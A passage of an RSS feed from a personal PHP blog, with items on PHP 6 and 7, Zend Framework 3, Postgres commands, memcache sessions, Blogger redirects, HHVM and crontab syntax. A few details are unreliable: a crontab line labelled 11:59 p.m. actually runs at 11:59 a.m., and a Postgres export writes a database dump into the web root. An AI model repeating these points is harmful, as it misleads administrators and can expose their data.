<?xml version="1.0" encoding="iso-8859-1"?>
<rss version="2.0">
   <channel>
      <title>PHP Expert - Nilesh Pawar Blogs</title>
      <link>http://www.nileshpawar.com</link>
      <description>PHP Expert - Nilesh pawar is PHP Expert working on open source technologies (LAMP-Linux, Apache, MySQL, PHP)</description>
      <language>en-us</language>
	  <subtitle>PHP Expert Nilesh Pawar's Blog</subtitle>
	  <summary>PHP Expert, Lamp Developer, MySQL Expert, PHP, Linux, Apache, Open Source.</summary>
	  <author>Nilesh Pawar</author>
	  <category text='PHP Expert'/>
	  								      <item>
								         <title>Importance of Server/Application/Code Security</title>
								         <link>http://www.nileshpawar.com/81/Importance-of-Server/Application/Code-Security</link>
								         <description></description>
								         <pubDate>Sun, 11 Jun 2017 21:56:48 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/81/Importance-of-Server/Application/Code-Security</guid>
								      </item>								      <item>
								         <title>Ideas about PHP 6 - PHP Experts India</title>
								         <link>http://www.nileshpawar.com/80/Ideas-about-PHP-6---PHP-Experts-India</link>
								         <description>Folowing are the ideas about what will be implemented in PHP 6, I am pretty much excited about &quot;JIT compiler (libjit?)&quot;&lt;br&gt;&lt;br&gt;

OpCache integration&lt;br&gt;
Improved and actual 64bit support&lt;br&gt;
Unicode support&lt;br&gt;
internals API Cleanup&lt;br&gt;
Warning free code&lt;br&gt;
Improve OPcodes, compilation and runtime (perf, features, jit, fixed address jump usage, etc)&lt;br&gt;
JIT compiler (libjit?)&lt;br&gt;
Annotation Support&lt;br&gt;
Named argument&lt;br&gt;
Scalar Type hinting&lt;br&gt;
HTTP2 support (avoid our own implementation, nghttp2?)&lt;br&gt;
Reliable, userfriendly RNG APIs (internally and userland)&lt;br&gt;
Getter/Setter&lt;br&gt;
Userland APIs improvement for all PHP types (OO instead of breaking BC)&lt;br&gt;
C++ Usage&lt;br&gt;
inclusion of the new crypto extension (maybe support other backends than openssl)&lt;br&gt;
bundle pecl's http (add http2 support too)&lt;br&gt;&lt;br&gt;&lt;br&gt;

Posted by PHP Experts India, you can find More details @
https://wiki.php.net/ideas/php6</description>
								         <pubDate>Thu, 09 Jul 2015 23:51:41 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/80/Ideas-about-PHP-6---PHP-Experts-India</guid>
								      </item>								      <item>
								         <title>PHP 7 to Be Even Faster Than Expected</title>
								         <link>http://www.nileshpawar.com/79/PHP-7-to-Be-Even-Faster-Than-Expected</link>
								         <description>With the latest experiments with the Feedback Directed Optimization patch, it is possible that PHP 7 will be event 10% faster than the implementation with other optimizations already implemented for PHP 7.0.&lt;br&gt;&lt;br&gt;That was one the topics commented by Manuel Lemos and Arturs Sosins in the episode 60 of the Lately in PHP podcast.&lt;br&gt;&lt;br&gt;They also commented on proposals for future PHP versions like having a numeric type hint, options for preloaded scripts, making Libsodium a core extension for applications that need cryptography, the updated roadmap for PHP 7.0.0 and creating a new branch for PHP 7.1 development.&lt;br&gt;&lt;br&gt;They also talked about the latest PHP tutorial articles and book reviews published lately on the site.&lt;br&gt;&lt;br&gt;Listen to the podcast, or watch the hangout video, or read the transcript to learn more about these interesting PHP topics.

&lt;br&gt;&lt;br&gt;&lt;br&gt;
Ref:-
&lt;br&gt;
http://www.phpclasses.org/blog/post/289-PHP-7-to-Be-Even-Faster-Than-Expected--Lately-in-PHP-podcast-episode-60.html</description>
								         <pubDate>Tue, 16 Jun 2015 03:20:03 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/79/PHP-7-to-Be-Even-Faster-Than-Expected</guid>
								      </item>								      <item>
								         <title>Announcing Zend Framework 3 - The Future of PHP Frameworks</title>
								         <link>http://www.nileshpawar.com/78/Announcing-Zend-Framework-3---The-Future-of-PHP-Frameworks</link>
								         <description>The initial goal of Zend Framework was to help make PHP a more mature language and as such ease its adoption, especially among enterprise developers. The use of a framework brings discipline to coding and productivity to developers. Since its inception two generations of Zend Framework have met tremendous success and are backing today some of the most business critical PHP applications in the Enterprise.&lt;br&gt;&lt;br&gt;

But like any language PHP is evolving and with it so are the different technologies, development paradigms and best practices and developer needs.&lt;br&gt;&lt;br&gt;

The world of Web and Mobile development is in constant flux and a great framework must evolve. The PHP ecosystem is undergoing an exciting &quot;renaissance&quot; with the emergence of massive changes in the last few years. Today tools like Composer are simplifying dependencies management. API-driven architectures are becoming the norm. PHP 7 includes a set of great enhancements at the runtime level. Tools like Vagrant, Puppet, Docker have changed developers' development and deployment processes.&lt;br&gt;&lt;br&gt;

The Zend Framework team took all that into consideration and announced the next generation PHP framework: Zend Framework 3.&lt;br&gt;&lt;br&gt;

The new Zend Framework 3 will embrace new paradigms and patterns and with that make it more productive for all developers - beginners and advanced developers alike. The new framework will focus on component based development. It will deliver a middleware solution and be fully optimized for PHP 7.&lt;br&gt;&lt;br&gt;

Zend Framework 3 is all about simplicity, reusability and performance.</description>
								         <pubDate>Mon, 27 Apr 2015 06:52:22 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/78/Announcing-Zend-Framework-3---The-Future-of-PHP-Frameworks</guid>
								      </item>								      <item>
								         <title>Postgres Database Get Started Commands</title>
								         <link>http://www.nileshpawar.com/77/Postgres-Database-Get-Started-Commands</link>
								         <description>Login to postgres:&lt;br&gt;&lt;br&gt;
sudo -i -u postgres&lt;br&gt;
psql &lt;br&gt;&lt;br&gt;
switch to database&lt;br&gt;
\c dbname;&lt;br&gt;&lt;br&gt;

Create Database:-&lt;br&gt;&lt;br&gt;

create database dbname;&lt;br&gt;&lt;br&gt;

Create User:-&lt;br&gt;&lt;br&gt;
create user username with password 'password';&lt;br&gt;&lt;br&gt;

Give previlleges:-&lt;br&gt;&lt;br&gt;
GRANT ALL PRIVILEGES ON DATABASE dbname TO username;&lt;br&gt;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO username;&lt;br&gt;
GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO username;&lt;br&gt;&lt;br&gt;

Import database:-&lt;br&gt;&lt;br&gt;
psql dbname &lt; /home/13082014_daily_extra.sql;&lt;br&gt;&lt;br&gt;

Export database:-&lt;br&gt;&lt;br&gt;
pg_dump dbname &gt; /var/www/html/dbname.sql;&lt;br&gt;&lt;br&gt;


list databases&lt;br&gt;
\list;&lt;br&gt;&lt;br&gt;

list tables&lt;br&gt;&lt;br&gt;
\dt;&lt;br&gt;&lt;br&gt;

Postgres default port is 5432&lt;br&gt;&lt;br&gt;

Check postgres port&lt;br&gt;
pg_lsclusters&lt;br&gt;

I have machines with multiple postgres instances running -- and so I also have the issue of trying to match up the correct database with each port. I tend to do:&lt;br&gt;&lt;br&gt;

$ ps aux | grep  postgres | grep -v 'postgres:'&lt;br&gt;&lt;br&gt;
And then, for each of instances returned look for the directory (-D argument) and:&lt;br&gt;&lt;br&gt;

$ sudo grep port $DIR/postgresql.conf&lt;br&gt;&lt;br&gt;</description>
								         <pubDate>Sat, 14 Feb 2015 06:06:43 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/77/Postgres-Database-Get-Started-Commands</guid>
								      </item>								      <item>
								         <title>Use of MemCache module to handle session on load balancing servers.</title>
								         <link>http://www.nileshpawar.com/76/Use-of-MemCache-module-to-handle-session-on-load-balancing-servers.</link>
								         <description>Many well-known huge architecture (Facebook, Livejournal, Youtube...) are using it as memory caching to reduce the load on their servers. It can also be used to share PHP sessions among several servers. Let's see how...
&lt;br&gt;&lt;br&gt;
Installation&lt;br&gt;&lt;br&gt;

The first thing is to install the memcached server on your Debian server :&lt;br&gt;&lt;br&gt;
&lt;div style=&quot;color:red;&quot;&gt;apt-get install memcached&lt;/div&gt;
&lt;br&gt;&lt;br&gt;

Then, since the memcache PECL extension now provides its own session handler, it's easy to plug PHP and memcached servers. Just install the appropriate extension (from Dotdeb) :&lt;br&gt;&lt;br&gt;

&lt;div style=&quot;color:red;&quot;&gt;apt-get install php5-memcache&lt;br&gt;&lt;br&gt;
and change some of your PHP settings :&lt;br&gt;&lt;br&gt;

session.save_handler = files&lt;br&gt;&lt;br&gt;
; session.save_path = &quot;N;/path&quot;&lt;br&gt;&lt;br&gt;
to :&lt;br&gt;&lt;br&gt;

session.save_handler = memcache&lt;br&gt;&lt;br&gt;
; change server:port to fit your needs...&lt;br&gt;&lt;br&gt;
session.save_path=&quot;tcp://server:port?persistent=1&amp;amp;weight=1&amp;amp;timeout=1&amp;amp;retry_interval=15&quot;&lt;/div&gt;

&lt;br&gt;&lt;br&gt;
That's all! After relaunching your Apache2 server, your PHP sessions will be stored on the memcached server.</description>
								         <pubDate>Mon, 29 Dec 2014 04:04:35 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/76/Use-of-MemCache-module-to-handle-session-on-load-balancing-servers.</guid>
								      </item>								      <item>
								         <title>301 redirect on blogger/blogspot to new site</title>
								         <link>http://www.nileshpawar.com/75/301-redirect-on-blogger/blogspot-to-new-site</link>
								         <description>I would not suggest canonicalization of your URLs. Though search engines will treat this better than no action at all (i.e., duplicate content), it will not transfer your &quot;link juice&quot; and all your SEO signals. Supposedly, a meta refresh tag will be treated by search engines just like a 301 redirect via htaccess.&lt;br&gt;&lt;br&gt;

They are real easy to do in Blogger.&lt;br&gt;&lt;br&gt;

Open the template, click Edit HTML then click Proceed. Find the line that says:&lt;br&gt;&lt;br&gt;

&lt;b:include data='blog' name='all-head-content'/&gt;&lt;br&gt;&lt;br&gt;
Right underneath that, add the following:&lt;br&gt;&lt;br&gt;

&lt;meta content=&quot;0;url=http://YOUR NEW URL HERE&quot; http-equiv=&quot;refresh&quot;/&gt;&lt;br&gt;&lt;br&gt;
Enter your url where it says &quot;YOUR NEW URL HERE.&quot; This will be better for SEO purposes than mere canonical URLs (though it isn't AS good as a permanent redirect via the .htaccess file).</description>
								         <pubDate>Mon, 08 Dec 2014 03:16:24 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/75/301-redirect-on-blogger/blogspot-to-new-site</guid>
								      </item>								      <item>
								         <title>HHVM for PHP - Future is here to conquer the world of web-development</title>
								         <link>http://www.nileshpawar.com/74/HHVM-for-PHP---Future-is-here-to-conquer-the-world-of-web-development</link>
								         <description>&lt;p&gt;&lt;span&gt;HHVM&lt;/span&gt; is a new open-source virtual machine designed for executing programs written in &lt;span&gt;PHP&lt;/span&gt;. &lt;span&gt;HHVM&lt;/span&gt;  uses a just-in-time compilation approach to achieve superior  performance while maintaining the flexibility and ease of use that &lt;span&gt;PHP&lt;/span&gt; developers are accustomed to (dynamic features like eval(), rapid run-edit-debug cycle, etc).&lt;/p&gt;
&lt;p&gt;&lt;span&gt;HHVM&lt;/span&gt; is used by Facebook to serve billions of web requests per day. To date, &lt;span&gt;HHVM&lt;/span&gt;  (and its predecessor HPHPc before it) has realized over a 9x increase  in web request throughput and over a 5x reduction in memory consumption  for Facebook compared with the Zend &lt;span&gt;PHP&lt;/span&gt; 5.2 engine + &lt;span&gt;APC&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;For general discussion and the latest news about &lt;span&gt;HHVM&lt;/span&gt;, check out &lt;a href=&quot;http://www.hhvm.com/&quot;&gt;hhvm.com&lt;/a&gt; and our &lt;a href=&quot;http://www.facebook.com/hphp&quot;&gt;Facebook page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you would like to report a bug or are having difficulty using &lt;span&gt;HHVM&lt;/span&gt;, find us in the #hhvm chat room on freenode or open a github issue &lt;a href=&quot;https://github.com/facebook/hhvm/issues&quot;&gt;here&lt;/a&gt;. We are also happy to review and take code contributions &lt;a href=&quot;https://github.com/facebook/hhvm/pulls&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a name=&quot;wiki-why-hhvm&quot; class=&quot;anchor&quot; href=&quot;https://github.com/facebook/hhvm/wiki#wiki-why-hhvm&quot;&gt;&lt;/a&gt;Why &lt;span&gt;HHVM&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;One of the explicit design goals of &lt;span&gt;HHVM&lt;/span&gt; was the ability to continue writing complex logic directly within &lt;span&gt;PHP&lt;/span&gt;. Companies with large &lt;span&gt;PHP&lt;/span&gt; codebases will generally rewrite their complex functionality directly as &lt;span&gt;PHP&lt;/span&gt;  extensions in either C or C++. Doing so ends up reducing the number of  people who are able to work on the company&amp;rsquo;s entire codebase. By keeping  this logic in &lt;span&gt;PHP&lt;/span&gt;, Facebook is able to move fast and maintain a high number of engineers who are able to work across the entire codebase.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;https://github.com/facebook/hhvm/wiki&lt;/p&gt;</description>
								         <pubDate>Wed, 19 Feb 2014 02:25:24 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/74/HHVM-for-PHP---Future-is-here-to-conquer-the-world-of-web-development</guid>
								      </item>								      <item>
								         <title>PHP 5.6.0alpha1 released - By PHP Experts India</title>
								         <link>http://www.nileshpawar.com/73/PHP-5.6.0alpha1-released---By-PHP-Experts-India</link>
								         <description>The PHP development team announces the immediate availability of PHP 5.6.0alpha1. This release marks the beginning of the PHP 5.6.0 release cycle. All users of PHP are encouraged to test this version carefully, and report any bugs in the bug tracking system.

THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!
PHP 5.6.0alpha1 comes with new features such as (incomplete list) :

constant scalar expressions,
variadic functions,
argument unpacking,
support for large(&gt;2GiB) file uploads,
SSL/TLS improvements,
a new command line debugger called phpdbg.
For more information about the new features you can check out the work-in-progress documentation or you can read the full list of changes in the NEWS file contained in the release archive.

For source downloads of PHP 5.6.0alpha1 please visit the download page, Windows binaries can be found on windows.php.net/qa/.

Our second alpha should show up on 6th of February.

Thank you for helping us making PHP better.</description>
								         <pubDate>Tue, 04 Feb 2014 21:35:57 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/73/PHP-5.6.0alpha1-released---By-PHP-Experts-India</guid>
								      </item>								      <item>
								         <title>How to add a job to crontab and set simple email address?</title>
								         <link>http://www.nileshpawar.com/71/How-to-add-a-job-to-crontab-and-set-simple-email-address?</link>
								         <description>&lt;p style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.57em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Using cron you can execute a shell-script or Linux commands at a specific time and date. For example a sysadmin can schedule a backup job that can run every day.&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;
&lt;/p&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;How to add a job to the cron?&lt;/h3&gt;
&lt;p&gt;# crontab -e&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;mailto:MAILTO=abc@abc.com&quot;&gt;MAILTO=abc@abc.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;0 4 * * * /root/bin/abc.php&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;This crom will be executed everyday @ 4AM and out will be emailed to &lt;a href=&quot;mailto:abc@abc.com&quot;&gt;abc@abc.com&lt;/a&gt;&lt;/p&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Description of Cron fields.&lt;/h3&gt;
&lt;p style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.57em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Following is the format of the crontab file.&lt;/p&gt;
&lt;pre style=&quot;font: 0.85em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;{minute} {hour} {day-of-month} {month} {day-of-week} {full-path-to-shell-script}&lt;/pre&gt;
&lt;ul style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; list-style: square; margin: 0px 0px 1.57em 1.57em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;minute: Allowed range 0 &amp;ndash; 59&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;hour: Allowed range 0 &amp;ndash; 23&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;day-of-month: Allowed range 0 &amp;ndash; 31&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;month: Allowed range 1 &amp;ndash; 12. 1 = January. 12 = December.&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Day-of-week: Allowed range 0 &amp;ndash; 7. Sunday is either 0 or 7.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Crontab examples&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;1. Run at 12:01 a.m. 1 minute after midnight everyday.&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.57em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;This is a good time to run backup when the system is not under load.&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;pre style=&quot;font: 0.85em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;1 0 * * * /root/bin/backup.sh&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;2. Run backup every weekday (Mon &amp;ndash; Fri) at 11:59 p.m.&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;pre style=&quot;font: 0.85em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;59 11 * * 1,2,3,4,5 /root/bin/backup.sh&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.57em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;Following will also do the same.&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;pre style=&quot;font: 0.85em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;59 11 * * 1-5 /root/bin/backup.sh&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;3. Execute the command every 5 minutes.&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;pre style=&quot;font: 0.85em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;*/5 * * * * /root/bin/check-status.sh&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;4. Execute at 1:10 p.m on 1st of every month&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;pre style=&quot;font: 0.85em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;10 13 1 * * /root/bin/full-backup.sh&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
